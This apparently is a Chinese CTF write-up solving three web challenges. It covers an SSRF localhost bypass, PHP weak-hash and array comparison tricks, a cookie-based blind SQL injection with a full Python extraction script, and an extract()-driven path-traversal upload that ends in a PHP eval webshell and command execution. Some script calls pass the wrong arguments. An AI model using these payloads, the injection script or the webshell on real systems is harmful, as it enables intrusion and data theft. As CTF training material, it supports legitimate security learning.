穿梭隐藏的密钥
知识点:fuzz技术、ssrf、本地绕过、data伪协议、md4弱比较、数组绕过
首先看看页面的源代码,但是发现f12和鼠标右键都被禁用了
用ctrl+u查看,发现一个可疑页面
访问看看,发现还是只有一张图,查看源代码发现提示
扩展:
Fuzz:Fuzz是一种基于黑盒的自动化软件模糊测试技术,简单的说一种懒惰且暴力的技术融合了常见的以及精心构建的数据文本进行网站、软件安全性测试。
通过字典爆破向目标发送随机或精心构造的数据作为计算机输入,来触发非常规反馈以达到检测漏洞的目的。
Fuzz的核心思想:
- 目录Fuzz(漏洞点)
- 参数Fuzz(可利用参数)
- PayloadFuzz(bypass)
常用工具:御剑、dirsearch、Arjun等
通过提示我们可以得知可能需要参数爆破,但是发现页面为图片,bp抓包也没发现能够爆破的位置 。猜测可能是需要爆破url,用御剑扫描
访问secret.php,发现需要本地(127.0.0.1)才能通过
用bp抓包,构造xff、client_ip、referer发现都不行
尝试ssrf伪造
?参数=http://127.0.0.1/secret.php
但是这里不知道参数是啥所以用Arjun爆破url
得到参数为shell
构造payload:
c3s4f.php?shell=http://127.0.0.1/secret.php
发现虽然成功了但是发现127.0.0.1并不行,可能是被正则禁用了
查看了一下官方的wp得知可以通过sudo.cc绕过
扩展:
sudo.cc指向IP地址127.0.0.1。A记录就是域名指向ip地址,然后可以通过A记录转向访问
类似的还有safe.taobao.com,114.taobao.com,test.xiaodi8.com等
成功得到key和下一关的入口
访问challeng3.php并且POST传参key=MSIBLG
成功进入下一关
// Challenge 1
if (isset($_GET['DrKn'])) {
$text = $_GET['DrKn'];
if(@file_get_contents($text) == $key) {
echo "有点东西呢"."</br>".$key1."</br>";
} else {
die("貌似状态不在线啊(╯_╰)</br>");
}
}
//GET传参入一个Drkn=MSIBLG,得到key1
构造payload:
cha11eng3.php?DrKn=data:text/plain,MSIBLG
key1=M_ore.8
// Challenge 2
if (isset($_GET[$key1])) {
$damei = $_GET[$key1];
if (hash("md4", $damei) == $damei) {
echo "又近了一步呢,宝~"."</br>".$key2."</br>".$key3;
} else {
die("达咩哟~");
}
}
//md4弱比较得到key2
参考链接:[第四届-强网杯]:Funhash
科学计数法:
plaintext : 0e001233333333333334557778889
md4 hash : 0e434041524824285414215559233446
构造payload:
cha11eng3.php?DrKn=data:text/plain,MSIBLG&M_ore.8=0e001233333333333334557778889
发现并没有第二层的回显猜测有可能是_划线被禁用了,用[绕过
payload:
cha11eng3.php?DrKn=data:text/plain,MSIBLG&M[ore.8=0e001233333333333334557778889
key2=wtf,key3=mC
// Challenge 3
if (isset($_POST[$key2]) && isset($_POST[$key3])) {
$user = $_POST[$key2];
$pass = $_POST[$key3];
if (strlen($user) > 4 || strlen($pass) > 5) {
die("还得练");
}
if ($user !== $pass && md5($user) === md5($pass)) {
echo "还不错哦"."$flag";
}
else {
die("nonono") ;
}
}
//POST传入的key2的值的长度超过4或key3的值的长度超过5则输入"还得练"
//进行md5强比较得到flag
构造payload:
wtf[]=1&mC[]=2
得到flag
EzLogin
知识点:sql二次注入、盲注(cookie)、空格绕过
打开源代码查看发现提示有一个注册页面
访问
输入admin,123456尝试发现用户已存在
说明有一个admin用户,回到登入界面用bp抓包爆破密码发现用啥字典都爆不出来,猜测可能不是弱口令爆破换个思路。
cookie中一般会有用户的重要信息,用Hackbar查看一下网页的cookie
发现TOKEN=TOKEN=65794a3163325679626d46745a534936496d78706269497349434a306232746c62694936496d4d354d7a45324f5759785a574935596d55334d6a51325a6a6b354d4459354d4749315a545932596a4a6b49697767496d6c7a5832466b62576c75496a6f7766513d3d
放入Cyberchef里解密一下
可以看到注册的用户lin(在注册界面尝试时注册的)已经被放入cookie中,token的值是用md5加密的用户名,is_admin是判断用户是否为admin为0时登入则会显示“you are not admin!!!”
这里我们将0改为1并重新加密后添加到TOKEN中(先base64后16进制转换)
TOKEN=65794a3163325679626d46745a534936496d78706269497349434a306232746c62694936496d4d354d7a45324f5759785a574935596d55334d6a51325a6a6b354d4459354d4749315a545932596a4a6b49697767496d6c7a5832466b62576c75496a6f7866513d3d
再次登入,登入成功
尝试注册新的用户名但是发现登入还是这个界面,TOKEN值没变
改变TOKEN值,将用户名改变加密后再次带入TOKEN再次访问,发现页面变了
发现显示用户名没改,原来是token里的用户名没改,只改了TOKEN。
这时候我们试着判断是不是sql注入将用户名改为
lin' and 1=2#
{"username":"lin' and 1=2#", "token":"36147d74623b73489bfcc37c4f7153a2", "is_admin":1}
发现存在注入点但是应该被过滤了所以显示Hacker!!
感觉应该是空格被过滤了用 “ /**/ ” 绕过
{"username":"lin'/**/and/**/1=2#", "token":"2c82906aa4b07b321787b962c5a1e12d", "is_admin":1}
成功绕过,存在注入点。
用别的用户名尝试几次发现都是这两个界面,猜测这题可能需要sql盲注(只有正确和错误界面),注入点在TOKEN里的用户名里
尝试查看一下数据库长度发现数据库长度为五且发现admin账户的密码
接下来我们可以写个脚本注入(这里借鉴官方给的wp)
首先需要一个脚本来识别TOKEN和token里的用户名
def encode(payload):
payload0 = payload
md5pwd = hashlib.md5(payload0.encode()).hexdigest() #把payload md5加密
json_payload = f'{{"username":"{payload0}", "token":"{md5pwd}", "is_admin":1}}'
encoded_payload = base64.b64encode(json_payload.encode()) #base64加密
hexadecimal_payload = encoded_payload.hex() #十六进制编码
return hexadecimal_payload
完整脚本:
import base64
import hashlib
import requests
def encode(payload):
payload0 = payload
md5pwd = hashlib.md5(payload0.encode()).hexdigest() #把payload md5加密
json_payload = f'{{"username":"{payload0}", "token":"{md5pwd}", "is_admin":1}}'
encoded_payload = base64.b64encode(json_payload.encode()) #base64加密
hexadecimal_payload = encoded_payload.hex() #十六进制编码
return hexadecimal_payload
def ascii_str(): # 生成库名表名字符所在的字符列表字典
str_list = []
for i in range(33, 127): # 所有可显示字符
str_list.append(chr(i))
#print('可显示字符:%s'%str_list)
return str_list # 返回字符列表
def db_length(url, str):
print("[-]开始测试数据库名长度.......")
num = 1
while True:
payload = f"admin'/**/and/**/length(database())={num}#"
db_payload = encode(payload)
cookies = {"TOKEN":db_payload}
r = requests.get(url=url,cookies=cookies)
if str in r.text:
db_length = num
print("[+]数据库长度:%d\n" % db_length)
db_name(db_length) # 进行下一步,测试库名
break
else:
num += 1
def db_name(db_length):
print("[-]开始测试数据库名.......")
db_name = ''
str_list = ascii_str()
for i in range(1, db_length + 1):
for j in str_list:
payload = f"admin'/**/and/**/(ascii(substr(database(),{i},1))={ord(j)})#"
db_payload = encode(payload)
cookies = {"TOKEN": db_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
db_name += j
break
print("[+]数据库名:%s\n" % db_name)
tb_piece(db_name) # 进行下一步,测试security数据库有几张表
return db_name
def tb_piece(db_name):
global tb_piece
print("开始测试%s数据库有几张表........" % db_name)
for i in range(10): # 猜解库中有多少张表,合理范围即可
payload = f"admin'/**/and/**/{i}=(Select/**/Count(Table_name)/**/From/**/Information_schema.tables/**/Where/**/table_schema='{db_name}')#"
tb_payload = encode(payload)
cookies = {"TOKEN": tb_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
tb_piece = i
break
print(f"[+]{db_name}库一共有{tb_piece}张表\n")
tb_name(db_name, tb_piece) # 进行下一步,猜解表名
def tb_name(db_name, tb_piece):
print("[-]开始猜解表名.......")
table_list = []
for i in range(tb_piece):
str_list = ascii_str()
tb_length = 0
tb_name = ''
for j in range(1, 20): # 表名长度,合理范围即可
payload = f"admin'/**/and/**/(Select/**/length(table_name)/**/from/**/Information_schema.tables/**/Where/**/table_schema=database()/**/limit/**/{i},1)={j}#"
tb_payload = encode(payload)
cookies = {"TOKEN": tb_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
tb_length = j
print("第%d张表名长度:%s" % (i + 1, tb_length))
for k in range(1, tb_length + 1): # 根据表名长度进行截取对比
for l in str_list:
payload = f"admin'/**/and/**/(Select/**/ascii(substr((Select/**/table_name/**/from/**/Information_schema.tables/**/Where/**/table_schema=database()/**/limit/**/{i},1),{k},1)))={ord(l)}#"
tb_payload = encode(payload)
cookies = {"TOKEN": tb_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
tb_name += l
print("[+]:%s" % tb_name)
table_list.append(tb_name)
break
print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
column_num(table_list, db_name) # 进行下一步,猜解每张表的字段数
def column_num(table_list, db_name):
print("[-]开始猜解每张表的字段数:.......")
column_num_list = []
for i in table_list:
for j in range(60): # 每张表的字段数量,合理范围即可
payload =f"admin'/**/and/**/{j}=(Select/**/count(column_name)/**/from/**/Information_schema.columns/**/Where/**/table_name='{i}')#"
column_payload = encode(payload)
cookies = {"TOKEN": column_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
column_num = j
column_num_list.append(column_num) # 把所有表的字段,依次放入这个列表当中
print("[+]%s表\t%s个字段" % (i, column_num))
break
print("\n[+]表对应的字段数:%s\n" % column_num_list)
column_name(table_list, column_num_list, db_name) # 进行下一步,猜解每张表的字段名
def column_name(table_list, column_num_list, db_name):
print("[-]开始猜解每张表的字段名.......")
column_length = []
str_list = ascii_str()
column_name_list = []
for t in range(len(table_list)): # t在这里代表每张表的列表索引位置
print("\n[+]%s表的字段:" % table_list[t])
for i in range(column_num_list[t]): # i表示每张表的字段数量
column_name = ''
for j in range(1, 21): # j表示每个字段的长度
payload = f"admin'/**/and/**/{j-1}=(Select/**/length(column_name)/**/from/**/Information_schema.columns/**/Where/**/table_name='{table_list[t]}'/**/limit/**/{i},1)#"
column_name_length = encode(payload)
cookies = {"TOKEN": column_name_length}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
column_length.append(j)
break
for k in str_list: # k表示我们猜解的字符字典
payload = f"admin'/**/and/**/ascii(substr((Select/**/column_name/**/from/**/Information_schema.columns/**/Where/**/table_name='{table_list[t]}'/**/limit/**/{i},1),{j},1))={ord(k)}#"
column_payload = encode(payload)
cookies = {"TOKEN": column_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
column_name += k
print('[+]:%s' % column_name)
column_name_list.append(column_name)
# print(column_name_list)#输出所有表中的字段名到一个列表中
dump_data(table_list, column_name_list,) # 进行最后一步,输出指定字段的数据
def dump_data(table_list,column_name_list,url,str):
print("[-]开始爆破字段内容:")
for l in range(1, 50): # l表示每条数据的长度,合理范围即可
for k in range(32,127):
payload = f"admin'/**/and/**/Ascii(Substr((Select/**/{column_name_list[0]}/**/from/**/{table_list[0]}/**/limit/**/0,1),{l},1))={k}#"
data_len_payload = encode(payload)
cookies = {"TOKEN": data_len_payload}
r = requests.get(url=url, cookies=cookies)
if (str in r.text):
character = chr(k)
print(character,end="")
break
#r.text:响应内容的字符串形式
if __name__ == '__main__':
url = "http://challenge.qsnctf.com:30041/home.php" # 目标url
str = "@q^4*!z8a9-%42z.s~"
db_length(url, str)
爆到这里时由于user表字段数较多,另一个表更可能含有flag所以我们可以跳过user的查看
if __name__ == '__main__':
url = "http://challenge.qsnctf.com:30041/home.php" # 目标url
str = "@q^4*!z8a9-%42z.s~"
table_list=["secret"]
column_num(table_list, db_name)
得到一个flag列和sseeccrreett列
分别查看
if __name__ == '__main__':
url = "http://challenge.qsnctf.com:30041/home.php" # 目标url
str = "@q^4*!z8a9-%42z.s~"
table_list=["secret"]
column_name_list=["sseeccrreett"]
dump_data(table_list,column_name_list,url,str)
最终在sseeccrreett列得到flag:flag{aa9a14ed7c154b02bb8d41343344aa07}
ezsign
知识点:$_SERVER['REMOTE_ADDR']、代码审计、文件上传、目录穿越
进去是一个登入界面输入admin密码123456发现直接就进入了,是一个留言板界面
看到留言板尝试一下有没有xss漏洞
发现成功弹窗了存在xss漏洞,尝试用BlueLotus弹一下cookie发现没有得到cookie。用{{7*7}}尝试并没有得到49不是ssti注入。所以应该都不是。
尝试用御剑扫一下网站(实在不知道干嘛了扫下试试)
发现扫到了一个文件上传的页面和一个bak文件
访问文件上传的页面进去是一个上传失败,下载bak文件打开看看发现一串代码
<?php
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;
if($token){
extract($_GET);
$token = base64_decode($token);
$token = json_decode($token, true);
$username = $token['username'];
$password = $token['password'];
$isLocal = false;
if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
$isLocal = true;
}
if($isLocal){
echo 'Welcome Back,' . $username . '!';
//如果 upload 目录下存在$username.png文件,则显示图片
if(file_exists('upload/' . $username . '/' . $token['filename'])){
// 显示图片,缩小图片
echo '<br>';
echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
} else {
echo '请上传您高贵的头像。';
// 写一个上传头像的功能
$html = <<<EOD
<form method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<input type="submit" value="Upload">
</form>
EOD;
echo $html;
}
} else {
// echo "留个言吧";
$html = <<<EOD
<h1>留言板</h1>
<label for="input-text">Enter some text:</label>
<input type="text" id="input-text" placeholder="Type here...">
<button onclick="displayInput()">Display</button>
EOD;
echo $html;
}
} else {
$html = <<<EOD
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h2>Login</h2>
<form method="post" action="./login.php">
<div>
<label for="username">Username:</label>
<input type="text" name="username" id="username" required>
</div>
<div>
<label for="password">Password:</label>
<input type="password" name="password" id="password" required>
</div>
<div>
<input type="submit" value="Login">
</div>
</form>
</body>
</html>
EOD;
echo $html;
}
?>
<script>
function displayInput() {
var inputText = document.getElementById("input-text").value;
document.write(inputText)
}
</script>
可以发现有一个变量覆盖函数extract($_GET);
根据代码我们可以得知当系统变量$_SERVER['REMOTE_ADDR']=127.0.0.1时才可以进入文件上传的界面
补充:
$_SERVER[′REMOTE_ADDR′]是一个在PHP中用来获取访问者的IP地址的超级全局变量。这个变量包含了当前请求的远程IP地址。它是服务器自动全局可访问的变量之一,可以在任何地方通过访问
利用extract($_GET)这一点,我们可以直接在url里将$_SERVER[′REMOTE_ADDR′]=127.0.0.1
?_SERVER[REMOTE_ADDR]=127.0.0.1
# _SERVER[REMOTE_ADDR]
并不是一个真正的$_SERVER
数组中的元素,而是一个由extract($_GET)
创建的普通变量。
进入文件上传界面,但是并没有发现上传文件的地方
上传一句话木马文件查看但是并没有返回路径
再次访问可以发现已经显示图片,查看源代码
上传的文件路径为upload/[username]/[filename]
访问文件路径看看,可以发现被解析为text/plain
猜测在admin目录下的文件会被解析为text/plain
由于bak文件中规定了
所以上传的文件一定会被上传到upload/[username]目录导致文件不被解析(出题者在upload目录放了一个.htaccess文件导致php无法被解析)
此时我们可以考虑用目录穿越将文件上传至网站的根目录var/www/html从而绕过upload这个目录。
将token里的username改为../../html
{"username":"../../html","password":"","filename":"shell.php"}
base64加密后再次带回token运行此时回到文件上传界面,这时再次传入一句话木马文件
这时候会发现shell.php在html目录下
<?php
@eval($_POST["shell"]);
?>
直接访问shell.php,并进行rce
用cat读取文件得到flag